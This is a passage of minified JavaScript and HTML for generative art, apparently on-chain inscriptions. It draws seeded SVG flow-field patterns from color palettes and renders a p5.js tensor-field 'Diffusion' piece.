h-E)/(2*1e-4)]},b=(n,e)=>{const[t,a]=C(n,e);return[a,-t]},Y=(n,e,t)=>{const a=[e];for(let s=0;s<t;s++)e=x(e,n(e)),a.push(e);return a},Z=n=>Array.from(n,(e,t)=>n[n.length-1-t]),ct=([n,...e],t=!1)=>{let a=`M ${n.join(" ")}`;return a+=e.map(s=>`L ${s.join(" ")}`).join(" "),a+=t?"z":"",a};class pt{constructor(){this.prng=sfc32(...cyrb128(seed))}unit(){return this.prng()}prob(e){return this.prng()<e}float(e,t){return this.prng()*(t-e)+e}int(e,t){return Math.floor(this.prng()*(t-e)+e)}pick(e){return e[this.int(0,e.lengthM
)]}}const z={SteamPunk:["#696969","#ebcc23","#F5F5DC","#AF9B60","#4F2A0C","#FF7034","#8B2800"],Colorful:["#C6EEFA","#db504a","#084c61","#e3b505","#4f6d7a","#56a3a6"],pal0:["#DEC78E","#192220","#BE3C39","#7E2925","#CCB477","#647657","#2D4C40","#6AB29B"],pal1:["#B4BCA4","#0E525A","#C2502E","#D47651","#0C353B","#F5AF6B","#897563","#6A402B"],pal2:["#F1D8AF","#785C74","#323666","#298D98","#E36075","#CF9A94","#5BE6CA","#F5BA6A"],pal3:["#6D9995","#516F6B","#233C45","#EDDC8D","#E69837","#7ED0D6","#A89E7A","#3E371D"],pal4:[M
"#BDD8C1","#20343C","#3C7179","#EDCD41","#DE694E","#8A3831","#79A791","#33B7C4"],pal5:["#E2DD91","#272C50","#3E9890","#2D5E78","#D53154","#69CFA0","#7C3067","#D78E65"],pal6:["#347179","#20414B","#E9A345","#3BA0A6","#36D8DB","#C7B689","#85B9B3","#975836"],pal7:["#6C95A7","#436FA7","#98A5BB","#EDCDC0","#483F6B","#E8A094","#DC46AB","#AE6362"],pal8:["#9BD7D0","#2C4D57","#172734","#7D5440","#337686","#C59B60","#E18C1F","#27C4CB"],pal9:["#735A82","#B5A5B1","#2D5570","#4CC9D4","#2893A5","#282C4A","#D74855","#EBB137"],pal1M
0:["#6D7B7E","#880B5B","#B28A96","#63BE9F","#27A188","#0D5B50","#C9367B","#CCEDD5"],pal11:["#09272F","#DDAF37","#67A793","#9ED8C7","#53B7AC","#409289","#34736E","#1A514F"],pal12:["#AAB29C","#C95734","#973819","#D27855","#776250","#F5B06B","#0F3438","#0E525A"],pal13:["#A4B1C7","#BD6F68","#EEB5A7","#6C95A7","#2D72C1","#3D3C57","#554A7D","#DC47AB"],pal14:["#101C39","#642E3D","#E14A47","#D7B176","#2EB1B8","#3A5F75","#5D7282","#20415F"],pal15:["#B7BEBC","#C7B55E","#5D9283","#88BCB7","#69AFAB","#2F4047","#51606B","#8F698M
D"],pal16:["#877855","#FBF6CD","#B86B42","#30200E","#5F4D37","#C3A064","#DDC081","#F1DE9A"],pal17:["#100B2C","#119065","#28224B","#160B5B","#433E74","#7F7AA1","#C2BDD9","#B70D44"]},ht=(n,{Palette:e})=>{var Q;const t=new pt,[a,s,...o]=z[e],h=z[e],E=[t.pick(h),t.pick(h)];[t.int(0,h.length/3),t.int(h.length/3,2*h.length/3),t.int(2*h.length/3,h.length)].map(m=>h[m]);const g=at(t.float(89,300),t.float(100,300),t.int(1,5)),O=Y(m=>D(C(g,m),5),[200,200],10).map(m=>Y(i=>D(b(g,i),5),m,140)),F=.67,W=innerWidth/innerHeight>F?(M
innerHeight-10)*F:innerWidth-10,K=W/F,L=600,R=L/F,B=L/2,w=R/2,u=(m,i,f,d)=>{const l=document.getElementById(m),r=document.createElementNS(G,i);return Object.keys(f).forEach(c=>c==="xlink:href"?r.setAttributeNS(J,c,f[c]):r.setAttribute(c,f[c])),l&&(d===void 0?l.appendChild(r):l.insertBefore(r,d)),r},G="http://www.w3.org/2000/svg",J="http://www.w3.org/1999/xlink";document.createElementNS(G,"svg");const j=document.createElement("div");j.setAttribute("id","svgC"),n.style.background="#ddd",n.style.width=`${innerWidth-10M
}px`,n.style.height=`${innerHeight-10}px`,n.style.padding="5px",j.style.width=`${W}px`,j.style.height=`${K}px`,j.style.margin="0 auto",j.style.boxShadow="2px 3px 6px rgba(0,0,0,0.5)",j.style.borderRadius="0.5vh",n.appendChild(j),u("svgC","svg",{id:"art",xmlns:G,"xmlns:xlink":J,"shape-rendering":"geometricPrecision",width:L,height:R,viewBox:`${-B} ${-w} ${L} ${R} `,style:`display:block; width:${W}; height:${K}`}),u("art","defs",{id:"df"}),u("df","filter",{id:"blur"}),u("blur","feGaussianBlur",{stdDeviation:t.int(1,5M
)}),u("df","filter",{id:"colorF"}),u("colorF","feColorMatrix",{type:"matrix",values:`${t.float(.2,.8)} 1 0 0 0
        0 0 0 1 0`}),u("df","pattern",{id:"hash0",x:0,y:0,width:t.float(1,3),height:5,stroke:t.pick(o),patternTransform:`rotate(${t.int(0,90)} 0 0)`,patternUnits:"userSpaceOnUse"}),u("hash0","line",{x1:0,y1:0,x2:0,y2:5,fill:"none","stroke-width":.3}),u("df","linearGradient",{id:"grad2",x1:"0%",x2:"100%",y1:"0",y2:"0"}),u("grad2","stop",{offset:"0%","stop-color":E[0]}M
),u("grad2","stop",{offset:"100%","stop-color":E[1]}),u("art","rect",{x:-B,y:-w,width:L,height:R,fill:a,id:"bg"}),t.int(30,70),t.int(150,250);for(let m=0;m<200;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){conM
st c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}l+=" z",u("art","path",{d:l,stroke:"none",fill:t.pick(o),"fill-opacity":.1})}u("art","g",{id:"stripes",filter:"url(#blur)"});for(let m=0;m<100;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<5;l++){let r=v(d,C(g,d),400);f.push(r),d=r}for(let l=0;l<20;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let $=0;$<5;$++){let M=v(p,b(g,p),400),S=v(I,b(g,I),400);r.push(M),c.unshift(S),p=M,I=S}d=c[0];let y=[];for(let $=0;$<5;$++){let M=v(d,C(g,d),400);y.unshM
ift(M),d=M}const[T,..._]=[...f,...r,...y,...c];let H=`M ${T.join(" ")}`;H+=_.map($=>`L ${$.join(" ")}`).join(" "),u("stripes","path",{d:H,fill:t.prob(.9)?t.pick(h):"url(#grad2)",stroke:"none"}),f=[c[0],...Z(y)]}}for(let m=0;m<80;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(M
g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}u("art","path",{d:l,stroke:t.pick(o),fill:"none"})}const et=60,nt=10,U=t.float(1,3);for(let m=0;m<nt;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<20;l++){let r=v(d,D(b(g,d)),U);f.push(r),d=r}for(let l=0;l<et;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let k=0;k<20;k++){let N=v(p,D(C(g,p)),U),V=v(I,D(C(g,I)),U);r.push(N),c.unshift(V),p=N,I=V}d=c[0];let y=[];const T=r[r.lengtM
h-1];let _=1/0,H=(d[0]-T[0])**2+(d[1]-T[1])**2;for(;H<_;){let k=v(d,D(b(g,d)),U);y.unshift(k),d=k,_=H,H=(d[0]-T[0])**2+(d[1]-T[1])**2}const[$,...M]=[...f,...r,...y,...c];let S=`M ${$.join(" ")}`;S+=M.map(k=>`L ${k.join(" ")}`).join(" "),u("art","path",{d:S,fill:t.prob(.1)?"url(#grad2)":E[l%2],stroke:"none"}),f=[c[0],...Array.from(y,(k,N)=>y[y.length-1-N])]}}u("art","g",{id:"grid"}),O.forEach((m,i)=>{if(i===0)return;const f=O[i-1],d=4;for(let l=0,r=0;l<f.length;l+=d-1,r++){const c=Z(O[i].slice(l,l+d)),p=ct([...f.sliM
ce(l,l+d),...c],!0);u("grid","path",{d:p,fill:(i+r)%2===0?t.pick(o):s,stroke:"none"})}}),u("art","g",{id:"border",filter:"url(#colorF)"}),u("border","rect",{x:-B,y:-w,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:w-10,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),u("border","rect",{x:B-10,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),(Q=A.from(s))==null||Q.sat(1)},dt=n=>typeof n=="string",tt=(n,e,t)=>{const a={expiM
re:1e4,utf8:!1,...t};dt(e)&&a.utf8&&(e=new TextEncoder().encode(e),a.mime+=";charset=UTF-8");const s=URL.createObjectURL(e instanceof Blob?e:new Blob([e],{type:a.mime})),o=document.createElement("a");o.setAttribute("download",n),o.setAttribute("href",s),document.body.appendChild(o),o.click(),document.body.removeChild(o),a.expire>0&&setTimeout(()=>URL.revokeObjectURL(s),a.expire)},ft=(n,e,t="png",a=.95)=>{const s=`image/${t}`;n.toBlob(o=>o?tt(`${e}.${t}`,o,{mime:s}):console.warn("can't download canvas"),s,a)};mathRaM
nd();window.$generativeTraits={Palette:Object.keys(z)[Math.floor(mathRand()*Object.keys(z).length)]};console.log(window.$generativeTraits);function gt(){const n=document.getElementById("art");let[e,t]=[n.getAttribute("width"),n.getAttribute("height")],a=new Blob([n.outerHTML],{type:"image/svg+xml;charset=utf-8"}),s=URL.createObjectURL(a),o=new Image;o.onload=()=>{const h=document.createElement("canvas");h.width=e*P,h.height=t*P,h.getContext("2d").drawImage(o,0,0,e*P,t*P),ft(h,`${seed} - ${new Date().getTime()}-art.M
png`)},o.src=s}const q=document.createElement("div");q.setAttribute("id","app");document.body.prepend(q);ht(q,window.$generativeTraits);const P=parseInt(new URLSearchParams(window.location.search).get("zoom")||"8");window.addEventListener("keyup",n=>{switch(n.key){case"s":tt(`${seed} - ${new Date().getTime()}-art.svg`,document.getElementById("art").outerHTML,{mime:"image/svg+xml"});return;case"x":gt();return}});
text/plain;charset=utf-8
  "name": "dutch.sats"
text/html;charset=utf-8
    <meta charset="UTF-8">
    <meta http-equiv="Content-Security-Policy" content="default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' http://cdnjs.cloudflare.com">
    <title>Diffusion</title>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflareM
.com/ajax/libs/mathjs/11.5.1/math.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <script type="text/javascript">
        var eigenvector_maj,eigenvector_min,flowcolorfield,cols,rows,colAlg,integral_lines=[];let center;var scl=10,inc=.06,zoff=0;let w,h,wdt,margin=10,cells=[],dsep=3,xx,yy,dt=.5,t,strk,palette1=[["#ce2d42","#082880","#7462f9","#f4b53f","#123676","#9c223d","#e6c7b4"],M
["#f43b79","#1136ed","#6b43dd","#ef9029","#4aa4ae","#69239b","#f7f1b4"],["#7fefe4","#be3edd","#70cfe5","#f2c666","#e6c7b4","#583fc4","#fff57d"],["#80aded","#7b66f7","#658fdb","#f2e18b","#f7f1b4","#773caa","#f4b537"],["#a5e2f2","#a783ed","#61c1db","#f7c872","#6eabf4","#6d52dd","#ff7db2"],["#d8d8d8","#898de0","#89afe5","#f9e78f","#85b2e8","#8110e5","#bf2b6e"],["#7094fc","#643ac9","#306bef","#9100dd","#e6c7b4","#e2396d","#ef3a65"],["#80aded","#a28fef","#4688e8","#db003a","#f7f1b4","#d632a4","#bc174e"],["#594499","#db3M
e3e","#25ceb2","#02827b","#a0a09f","#56661d","#34067c"],["#425999","#bc3f3f","#9fe2cc","#108fc1","#d37676","#132691","#5b3c96"],["#ffeda1","#91205c","#2929e2","#9509b7","#70b9c0","#5474e8","#d30b8c"],["#f9cfc7","#721b74","#1c70ea","#7c1d93","#919bdb","#5574ce","#f25c87"],["#f25a7b","#e960af","#992843","#8b52f7","#6eabf4","#3714a1","#445b96"],["#ff399c","#e73250","#d32f53","#33bbff","#7de7ff","#69239b","#8041f9"],["#6f6674","#34a0a5","#992843","#f98450","#6eabf4","#3714a1","#445b96"],["#4d82aa","#24c6c6","#d32f53","M
#f973a0","#7de7ff","#69239b","#8041f9"],["#ff6d40","#361ee0","#992843","#e6c7b4","#9370f2","#3714a1","#445b96"],["#e6372f","#3a338e","#d32f53","#f7f1b4","#8092ff","#69239b","#8041f9"],["#ffa943","#2177f4","#35fc93","#f9cfd2","#6eabf4","#3714a1","#445b96"],["#ffce45","#2f7083","#5affdf","#fcf4b7","#7de7ff","#69239b","#8041f9"],["#41d9f2","#528cd1","#3a6eba","#5f64c1","#4a97f4","#7426bf","#f7d52f"],["#71f2ff","#249cff","#63a1ea","#7f88db","#56a6f4","#7f0caf","#f7b643"],["#41d9f2","#51fcbb","#d3057b","#295cff","#7d22fM
f","#51d7e5","#e6c7b4"],["#71f2ff","#81fcca","#f91cb0","#0239c1","#8450d6","#05bdc6","#f7f1b4"],["#43bbef","#53f9e4","#bf2640","#5082ff","#8648ff","#36ffcf","#881ed3"],["#6bcced","#fce586","#f93ebb","#52a1ff","#8e51a8","#05bdc6","#ff0895"],["#a745ed","#fcbbbb","#f20a41","#ffd252","#0606bf","#ff459e","#881ed3"],["#7b19d1","#a7d0f9","#ba0f40","#fcd5bb","#4545ce","#9666ff","#ff0895"],["#31a4dd","#6f3bff","#f20a41","#4470a5","#7171f4","#e710f9","#2e92ff"],["#ffffab","#8e7de2","#ba0f40","#9312b2","#85b5f9","#830591","#0M
34a7f"],["#06a0ba","#6f3bff","#f20a41","#8777f7","#4848c1","#6b11f7","#e6c7b4"],["#2bc5cc","#8e7de2","#ba0f40","#6155bf","#4b4bf7","#a318b7","#f7f1b4"],["#06a0ba","#6f3bff","#8473ff","#fce875","#4848c1","#ffb3c9","#2e92ff"],["#2bc5cc","#8e7de2","#9e61ba","#ffd2c7","#0f0fce","#f7e579","#034a7f"],["#c10839","#6f3bff","#ff06a6","#f2a5bb","#4848c1","#117ff7","#579ef2"],["#a20dd3","#8e7de2","#aa08ff","#f2ec79","#0f0fce","#a60abc","#1b64ce"],["#06a0ba","#6f3bff","#fca660","#f7f377","#9149bf","#f71165","#31f0ff"],["#2bc5cM
c","#8e7de2","#dd582a","#ffe09c","#630ca8","#a8275c","#04717c"],["#e041b3","#3e71ff","#ffec64","#77c1f7","#9149bf","#f71165","#e6c7b4"],["#f95089","#8e7de2","#f99175","#1d6bdd","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#0636cc","#8989ef","#e6c7b4","#8005e0","#fc68a4","#3386ff"],["#fc889e","#3b72a3","#2d5cc4","#f7f1b4","#f938cb","#d61a1a","#04717c"],["#f4d334","#3ef6ff","#5347f4","#b877f7","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#6e1ed6","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#5M
347f4","#f7f777","#9149bf","#ef5090","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#ffce88","#630ca8","#ba0457","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#77c4f7","#9149bf","#f71165","#854fba"],["#fc889e","#1fb2b2","#2d5cc4","#2187bf","#630ca8","#a8275c","#e783ea"],["#f4d334","#3ef6ff","#f97575","#f4dc78","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#cc2929","#f28b79","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#f97575","#f279ab","#9149bf","#645eea","#e6c7b4"],["#fc889e","#52adff","#cc2929","#e81073"M
,"#630ca8","#3a3acc","#f7f1b4"],["#3ac9d8","#6f3bff","#44acf2","#fce875","#bf23f9","#ffb3c9","#2e92ff"],["#44acf2","#8e7de2","#6cffff","#ffd2c7","#9449ce","#f7e579","#034a7f"],["#06a0ba","#6f3bff","#fc4c7e","#f9b175","#6c6ce5","#8f58f9","#e6c7b4"],["#2bc5cc","#8e7de2","#cf4ef9","#f7df77","#4949c1","#a915ff","#f7f1b4"],["#ef01c4","#065ca8","#1c00ba","#ffee94","#c053ba","#8f58f9","#4ea8f9"],["#a60160","#30bec3","#5e52db","#ffebae","#da55f2","#a915ff","#4febf7"],["#f44260","#3c5ba0","#845ecc","#f4b53f","#3d9fc1","#9c2M
23d","#e6c7b4"],["#f43b79","#4058ad","#6c3ca5","#ef9029","#317ec4","#69239b","#f7f1b4"],["#f44260","#3c5ba0","#7070e8","#f27740","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#4058ad","#4d4dc1","#ef9029","#317ec4","#ed5487","#f7f1b4"],["#f244ee","#5c75c6","#7070e8","#3cd3b6","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#637cc1","#4d4dc1","#1cb7b7","#317ec4","#ed5487","#f7f1b4"],["#e5491f","#2058d3","#7462f9","#40f2d0","#123676","#9c223d","#e6c7b4"],["#ef973f","#177199","#6b43dd","#15abba","#4aa4ae","#69239b","#f7f1b4"],M
["#e22079","#2058d3","#7462f9","#40f2d0","#5a92e5","#9c223d","#e6c7b4"],["#f21c59","#177199","#6b43dd","#15abba","#4658f9","#69239b","#f7f1b4"],["#e22079","#2058d3","#e6c7b4","#40f2d0","#5a92e5","#ba4564","#edf28b"],["#f21c59","#177199","#f7f1b4","#15abba","#4658f9","#e5336a","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#41a9ef","#5a92e5","#bc0d8b","#f7adf7"],["#f21c59","#197abc","#f7f1b4","#36a9cc","#4658f9","#d3057f","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#435ced","#e2b55a","#ea397d","#f4e2ae"],["#f21c59","#197M
abc","#f7f1b4","#7f63f7","#f98562","#e84b3a","#e9f49f"],["#0850b7","#6771f9","#8213bc","#75f9e0","#4848c1","#ffb3c9","#2e92ff"],["#3081e2","#5285dd","#9604af","#15abba","#0f0fce","#f7e579","#034a7f"],["#d80e3e","#6771f9","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ef4878","#5285dd","#9604af","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f98246","#69acf7","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ed7d4a","#5285dd","#b529d3","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f7cd48","#69d6f4","#8213bc","M
#f7ad77","#7649bf","#ffb3c9","#e6c7b4"],["#f49090","#21b5d8","#b529d3","#f4cb78","#5829b2","#f7e579","#f7f1b4"],["#4a82f4","#f22a51","#8213bc","#f7ad77","#905df4","#ffb3c9","#0c85ba"],["#4cb2f2","#b72c4e","#b529d3","#f4cb78","#542ad3","#f7e579","#096889"],["#4a82f4","#f22a51","#1522ba","#f7ad77","#d32fc0","#b6fffa","#0c85ba"],["#4cb2f2","#b72c4e","#483d9b","#f4cb78","#e50a6e","#f1ffb8","#096889"],["#4a82f4","#f22a51","#4b23db","#f7ad77","#d1304b","#5b99f4","#1dbcb4"],["#4cb2f2","#b72c4e","#694eea","#f4cb78","#d6166M
0","#5cd3f2","#096889"],["#ad4cf2","#f22a51","#8213bc","#f478b0","#5ff2f2","#ffb3c9","#0c85ba"],["#8b05e2","#b72c4e","#b529d3","#f4cb78","#3ea6b7","#f7e579","#096889"],["#584def","#f22a51","#a52cdd","#f2c679","#60caef","#d2b6ff","#0d53b7"],["#4f24c6","#b72c4e","#b529d3","#efaa7b","#3ea6b7","#f7e579","#458bdd"],["#584def","#ef592b","#2cdbc1","#f2c679","#6290ed","#b8fff1","#0d53b7"],["#4f24c6","#f27949","#2ec0d8","#efaa7b","#4067b5","#f7e579","#458bdd"],["#584def","#ed2e8a","#2eacd8","#f2c679","#6290ed","#6929ce","#0M
d53b7"],["#4f24c6","#c11670","#3070d6","#efaa7b","#4067b5","#4a4add","#458bdd"],["#584def","#ed2e8a","#2eacd8","#ef9c7b","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#fc583d","#4067b5","#4a4add","#458bdd"],["#b7b7b7","#0a0a0a","#ffffff","#dbdcdd","#b2b2b2","#a7a7a8","#4e4f4f"],["#d8d8d8","#636363","#dbdcdd","#b2b2b2","#4e4f4f","#e0e1e2","#3f3f3f"],["#5475f1","#ce7ca5","#b0f2da","#edded1","#80d3d8","#9fa1a6","#eafefe"],["#3155c4","#7534ad","#4597ad","#b7183b","#4058cc","#9e2a6f","#1eafab"],];functiM
on centerCanvas(){var e=(windowWidth-width)/2,f=(windowHeight-height)/2;cnv.position(e,f)}function setup(){wdt=windowWidth<windowHeight?windowWidth:windowHeight;let e=int(map(mathRand(),0,1,0,3)),f;0===e?(h=.7*(w=wdt),f="7:5"):1===e?(w=.7*(h=wdt),f="5:7"):2===e&&(w=wdt,h=wdt,f="1:1"),cnv=createCanvas(w,h),centerCanvas();pixelDensity(displayDensity()),smooth(),strokeWeight(strk=constrain((wdt/800).toFixed(1),.5,1));let l=int(1990*mathRand());noiseSeed(l),randomSeed(l),noiseDetail(2,1),strokeCap(ROUND),cols=floor(widM
th/(scl=wdt/135))+1,rows=floor(height/scl)+1,xx=floor(width/dsep),yy=floor(height/dsep),eigenvector_maj=Array(cols*rows),flowcolorfield=Array(cols*rows),eigenvector_min=Array(cols*rows),colAlg=int(random(2)),paletteIndex=int(map(random(1),0,1,0,palette1.length));let i=chroma.scale(palette1[paletteIndex]).colors(cols*rows);inc=random(.013,.036),t=range(0,10,dt);for(var c=0;c<1;c++){let s=random(width),a=random(height),_=random(width),$=random(height);integral_lines[c]=new Integral_line(s,a,"major"),integral_lines[c+M
1]=new Integral_line(_,$,"minor")}center=createVector(width/2,height/2),background(10);for(var o=0,n=0;n<rows;n++){for(var r=0,d=0;d<cols;d++){var b,p,u,x,y,g=d+n*cols,P=noise(r,o,zoff)*TAU;if(0===colAlg)b=355*noise(r/2+140,o/2+140,zoff/10),p=325*noise(r/2+40,o/2+40,zoff/10),u=355*noise(r/2+210,o/2+210,zoff/10),x=map(noise(r/2+250,o/2+250,zoff/10),0,1,165,255);else if(1===colAlg){var m=int(map(noise(r,o,zoff),0,1,0,i.length));b=chroma(i[m]).get("rgb.r"),p=chroma(i[m]).get("rgb.g"),u=chroma(i[m]).get("rgb.b"),x=map(M
noise(r/2+250,o/2+250,zoff/10),0,1,165,255)}var v=createVector(0,0);v.normalize();var j=map(d,0,cols,-width/2,width/2),B=map(n,0,rows,-height/2,height/2),k=createVector(j,B);k.normalize();let z=sqrt(pow((y=p5.Vector.fromAngle(PI/4)).x,2)+pow(y.y,2)),I=atan(y.y/y.x),A=exp(-1*pow(k.mag()-v.mag(),2))*z,C=math.matrix([[cos(2*I),sin(2*I)],[sin(2*I),-cos(2*I)]]),R=math.multiply(C,A);var K=createVector(math.eigs(R).vectors._data[0][0],math.eigs(R).vectors._data[0][1]),V=createVector(math.eigs(R).vectors._data[1][0],math.eM
igs(R).vectors._data[1][1]);K.mult(math.eigs(R).values._data[0]),V.mult(math.eigs(R).values._data[1]);let F=cos(2*I)*cos(2*I)-sin(2*I)*sin(2*I),T=[[cos(P),-sin(P)],[sin(P),cos(P)]];K.setMag(F),V.setMag(F);let M=math.multiply(T,[K.x,K.y]),G=math.multiply(T,[V.x,V.y]);eigenvector_maj[g]=createVector(M[0],M[1]),eigenvector_min[g]=createVector(G[0],G[1]),flowcolorfield[g]=[b,p,u,x],r+=inc}o+=inc,zoff+=3e-4}for(var n=0;n<yy;n+=1)for(var d=0;d<xx;d+=1){var g=d+n*xx;cells[g]=new Cell(d,n)}for(var c=0;c<30;c++){let S=newPaM
rticle3("major");null!==S&&integral_lines.push(S);let q=newParticle3("minor");null!==q&&integral_lines.push(q)}let D=cols*rows,E=0===colAlg?"Algorithm":"Palette";window.$generativeTraits={Type:"Flow Field",Vectors:D,Colors:E,Format:f}}function draw(){background(10),translate(center.x,center.y);for(var e=0;e<integral_lines.length;e++)integral_lines[e].follow(eigenvector_maj,eigenvector_min),integral_lines[e].edges(),integral_lines[e].changeCol(flowcolorfield),integral_lines[e].display(flowcolorfield);let f=cells.filM
ter(e=>!0===e.spot||!0===e.spot2).length;if(f<.9*cells.length){let l=newParticle4("major",0);null!==l&&integral_lines.push(l);let i=newParticle4("major",1);null!==i&&integral_lines.push(i);let c=newParticle4("minor",0);null!==c&&integral_lines.push(c);let s=newParticle4("minor",1);null!==s&&integral_lines.push(s);let a=newParticle3("major");null!==a&&integral_lines.push(a);let _=newParticle3("minor");null!==_&&integral_lines.push(_)}else if(f>=.9*cells.length&&f<cells.length-cells.length/180){let $=newParticle3("maM
jor");null!==$&&integral_lines.push($);let o=newParticle3("minor");null!==o&&integral_lines.push(o);let n=newParticle5("major");null!==n&&integral_lines.push(n);let r=newParticle5("minor");null!==r&&integral_lines.push(r);let d=newParticle6("major");null!==d&&integral_lines.push(d);let b=newParticle6("minor");null!==b&&integral_lines.push(b);let p=newParticle51("major");null!==p&&integral_lines.push(p);let u=newParticle51("minor");null!==u&&integral_lines.push(u);let x=newParticle52("major");null!==x&&integral_lineM
s.push(x);let y=newParticle52("minor");null!==y&&integral_lines.push(y)}else noLoop();noFill(),stroke(220),strokeWeight(10),rect(-width/2,-height/2,width,height)}class Tensor{constructor(e,f,l,i,c){this.matrix=e,this.majVector=f,this.minVector=l,this.majValue=i,this.minValue=c}}class Cell{constructor(e,f){this.i=e,this.j=f,this.spot=null,this.spot2=null,this.index,this.pos=[]}drawGrid(){noFill(),stroke(255),this.spot&&fill(255,0,0);let e=createVector(this.i,this.j);rect(e.x*dsep,e.y*dsep,dsep,dsep)}}function IntegrM
al_line(e,f,l){this.iniPos=createVector(map(e,0,width,-width/2,width/2),map(f,0,height,-height/2,height/2)),this.iniPos2=this.iniPos.copy(),this.iniPos3=this.iniPos.copy(),this.iniPos4=this.iniPos2.copy(),this.fBool=!0,this.fBool2=!0,this.fBool3=!0,this.fBool4=!0,this.obj=l,this.maj1=[],this.min=[],this.maj2=[],this.min2=[],this.col=int(random(4)),this.changeCol=function(e){switch(this.col){case 0:var f=this.iniPos.x,l=this.iniPos.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]));breaM
k;case 1:var f=this.iniPos2.x,l=this.iniPos2.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]));break;case 2:var f=this.iniPos3.x,l=this.iniPos3.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]));break;case 3:var f=this.iniPos4.x,l=this.iniPos4.y,i=interpolate_coord(f,l,scl,cols),c=e[i];c&&stroke(color(c[0],c[1],c[2],c[3]))}},this.follow=function(e,f){if("major"===this.obj){if(this.fBool)for(let l=1;l<t.length;l++){var i=interpolate_coord(this.iniPos.x,thiM
s.iniPos.y,scl,cols);if(e[i]){let c=RK4step(f4,[this.iniPos.x,this.iniPos.y,e[i].x,e[i].y],t[l]-t[l-1]);this.maj1.push([c[0],c[1]]),this.iniPos=createVector(c[0],c[1]);var s=interpolate_coord(c[0],c[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector(c[0],c[1])),cells[s].spot=!0,cells[s].spot2)){this.fBool=cells[s].pos.every(e=>dist(e.x,e.y,c[0],c[1])>0);break}}}if(this.fBool3)for(let a=1;a<t.length;a++){var _=interpolate_coord(this.iniPos3.x,this.iniPos3.y,scl,cols);if(e[_]){let $=RK4step(f4,[this.iniPos3.x,tM
his.iniPos3.y,-1*e[_].x,-1*e[_].y],t[a]-t[a-1]);this.maj2.push([$[0],$[1]]),this.iniPos3=createVector($[0],$[1]);var s=interpolate_coord($[0],$[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector($[0],$[1])),cells[s].spot=!0,cells[s].spot2)){this.fBool3=cells[s].pos.every(e=>dist(e.x,e.y,$[0],$[1])>0);break}}}}if("minor"===this.obj){if(this.fBool2)for(let o=1;o<t.length;o++){var n=interpolate_coord(this.iniPos2.x,this.iniPos2.y,scl,cols);if(f[n]){let r=RK4step(f4,[this.iniPos2.x,this.iniPos2.y,f[n].x,f[n].y],tM
[o]-t[o-1]);this.min.push([r[0],r[1]]),this.iniPos2=createVector(r[0],r[1]);var s=interpolate_coord(r[0],r[1],dsep,xx);if(cells[s]&&(cells[s].pos.push(createVector(r[0],r[1])),cells[s].spot2=!0,cells[s].spot)){this.fBool2=cells[s].pos.every(e=>dist(e.x,e.y,r[0],r[1])>0);break}}}if(this.fBool4)for(let d=1;d<t.length;d++){var b=interpolate_coord(this.iniPos4.x,this.iniPos4.y,scl,cols);if(f[b]){let p=RK4step(f4,[this.iniPos4.x,this.iniPos4.y,-1*f[b].x,-1*f[b].y],t[d]-t[d-1]);this.min2.push([p[0],p[1]]),this.iniPos4=crM
